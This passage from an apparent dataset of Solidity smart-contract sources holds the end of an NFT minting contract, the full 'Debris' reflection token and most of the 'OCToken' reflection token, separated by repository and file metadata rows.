/// @param amount the withdraw amount
function withdraw(uint256 amount) external onlyOwner {
uint256 balance = address(this).balance;
require(balance >= amount, "Not enough balance left to withdraw.");
payable(msg.sender).transfer(amount);
}
// ======================================================== External Functions
/// Free Mint
/// @dev free mint token using verified signature signed by an admin address
/// @param signature signed by an admin address
function freeMint(bytes memory signature) external whenNotPaused nonReentrant {
require(_canMint(), "Mint count over limit.");
require(_isValidFreeMintSignature(signature), "Address is not in whitelist.");
require(!_signatureUsed[signature], "Signature has already been used.");
require(_hasEnoughAddressMintSupply(), "Not enough address mint NFTs left!");
require(_hasEnoughFreeMintSupply(), "Not enough free mint NFTs left!");
_signatureUsed[signature] = true;
_freeMint();
}
/// Mint Token
/// @dev mints token
function mint(bytes memory signature, uint256 price) external payable whenNotPaused nonReentrant {
require(_canMint(), "Mint count over limit.");
require(_isValidMintSignature(signature, price), "Signature is error.");
require(_hasEnoughAddressMintSupply(), "Not enough address mint NFTs left!");
require(msg.value >= price, "Not enough balance left!");
_mint();
}
/// Mint XYBAAdherent
/// @param signature signed by an admin address
/// @param mintSignature mint sign
/// @param tokenId tokenId
/// @param to address to mint to
function mintAdherent(bytes memory signature, bytes memory mintSignature, uint256 tokenId, address to) external payable whenNotPaused nonReentrant {
require(address(adherentContract) != address(0), "XYBA Adherent contract address is empty.");
require(_exists(tokenId), "Token is not exist.");
require(msg.sender == ownerOf(tokenId) || ownerOf(tokenId) == address(this), "You don't own this token.");
require(_isValidMintAdherentSignature(signature, mintSignature, tokenId, to), "Signature is error.");
_burn(tokenId);
adherentContract.mint(mintSignature, tokenId, to);
}
/// @dev has enough free mint supply
function canFreeMint() public view virtual returns (bool) {
return _hasEnoughFreeMintSupply();
}
/// @dev current free minted supply
function totalFreeMintSupply() public view virtual returns (uint256) {
return _freeMintedCounter.current();
}
/// @dev See {IERC721Metadata-tokenURI}.
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
_requireMinted(tokenId);
return string(abi.encodePacked(baseTokenURI, tokenId.toString()));
}
/// Get Token Ids
/// @dev Get the token ids owned by owner
/// @param _owner owner address of tokens
/// @return token Ids array
function tokensOfOwner(address _owner) external view returns (uint[] memory) {
return _tokensOfOwner(_owner);
}
// ======================================================== Internal Functions
/// Verify Signature For Free Mint
/// @param signature signed by an admin address
/// @return if the signature is valid
function _isValidFreeMintSignature(bytes memory signature) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked(name(), msg.sender));
return _isValidHash(hash, signature);
}
/// Verify Signature For Mint
/// @param signature signed by an admin address
/// @param price mint price
/// @return if the signature is valid
function _isValidMintSignature(bytes memory signature, uint256 price) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked(name(), msg.sender, price));
return _isValidHash(hash, signature);
}
/// Verify Signature For Mint Adherent
/// @param signature signed by an admin address
/// @param mintSignature mint sign
/// @param tokenId tokenId
/// @param to address to mint to
/// @return if the signature is valid
function _isValidMintAdherentSignature(bytes memory signature, bytes memory mintSignature, uint256 tokenId, address to) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked(name(), msg.sender, mintSignature, tokenId, to));
return _isValidHash(hash, signature);
}
/// Verify Hash And Signature
/// @param signature signed by an admin address
/// @return if the signature is valid
function _isValidHash(bytes32 hash, bytes memory signature) internal view returns (bool) {
bytes32 message = ECDSA.toEthSignedMessageHash(hash);
address recoveredAddress = ECDSA.recover(message, signature);
return recoveredAddress != address(0) && recoveredAddress == _signerAddress;
}
/// Verify Max Mint Supply
/// @dev check the supply of free mint is enough or not
/// @return is enough
function _hasEnoughAddressMintSupply() internal view returns (bool) {
// no limit
if (maxAddressMintSupply == 0) {
return true;
}
return _addressMintedCounter.current() + 1 <= maxAddressMintSupply;
}
/// Verify Free Mint Supply
/// @dev check the supply of free mint is enough or not
/// @return is enough
function _hasEnoughFreeMintSupply() internal view returns (bool) {
// no limit
if (maxFreeMintSupply == 0) {
return true;
}
return _freeMintedCounter.current() + 1 <= maxFreeMintSupply;
}
/// Can Mint
/// @dev check sender mint limit is enough or not
/// @return is enough
function _canMint() internal view returns (bool) {
// no limit
if (maxMintCountLimitOfOneAddress == 0) {
return true;
}
return _mintCounter[msg.sender] + 1 <= maxMintCountLimitOfOneAddress;
}
/// Get Token Ids
/// @dev Get the token ids owned by owner
/// @param _owner owner address of tokens
/// @return token Ids array
function _tokensOfOwner(address _owner) private view returns (uint[] memory) {
uint tokenCount = balanceOf(_owner);
uint[] memory tokensId = new uint256[](tokenCount);
for (uint i = 0; i < tokenCount; i++) {
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
/// Free Mint
/// @dev free mint NFT to the sender address
function _freeMint() private {
_safeMint(msg.sender);
_freeMintedCounter.increment();
_addressMintedCounter.increment();
unchecked {
_mintCounter[msg.sender] += 1;
}
}
/// Mint
/// @dev mint NFT to the sender address
function _mint() private {
_safeMint(msg.sender);
_addressMintedCounter.increment();
unchecked {
_mintCounter[msg.sender] += 1;
}
}
/// Airdrop
/// @dev airdrop NFT to the sender address
function _airdrop(address receiver) private {
_safeMint(receiver);
}
/// Safe Mint
/// @dev mint NFT to the receiver address
function _safeMint(address receiver) private {
uint newTokenID = _tokenIndex.current();
_safeMint(receiver, newTokenID);
_tokenIndex.increment();
}
} // End of Contract
| 3,783 | 1,760 |
74dae7808289e0826760730f5d2c277e5dea0c7b5a8947487a60d34adc420f7a
| 29,270 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x825472d6e1b0030054667A9349142766f2ce7885/contract.sol
| 5,088 | 18,248 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Debris is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'Debris';
string private _symbol = 'DEB';
uint8 private _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _burnFee = 1;
uint256 private _maxTxAmount = 9500e9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 9000e9 , 'maxTxAmount should be greater than 9000e9');
_maxTxAmount = maxTxAmount;
}
}
| 252,330 | 1,761 |
7d67fbd8eb7d87bdf93dc8a07df01cd39e8b693a44125ce57a46e05c5e9e3d6f
| 29,401 |
.sol
|
Solidity
| false |
342694958
|
octree-finance/OCToken
|
54772d7f64fd7f0cd0b54c6b119a900c60278bc8
|
contract/OCToken.sol
| 5,095 | 18,230 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OCToken is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 8;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000 * 10 ** uint256(_decimals);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Octree Finance';
string private constant _symbol = 'OCT';
uint256 private _taxFee = 100;
uint256 private _burnFee = 200;
uint private _max_tx_size = 10000 * 10 ** uint256(_decimals);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
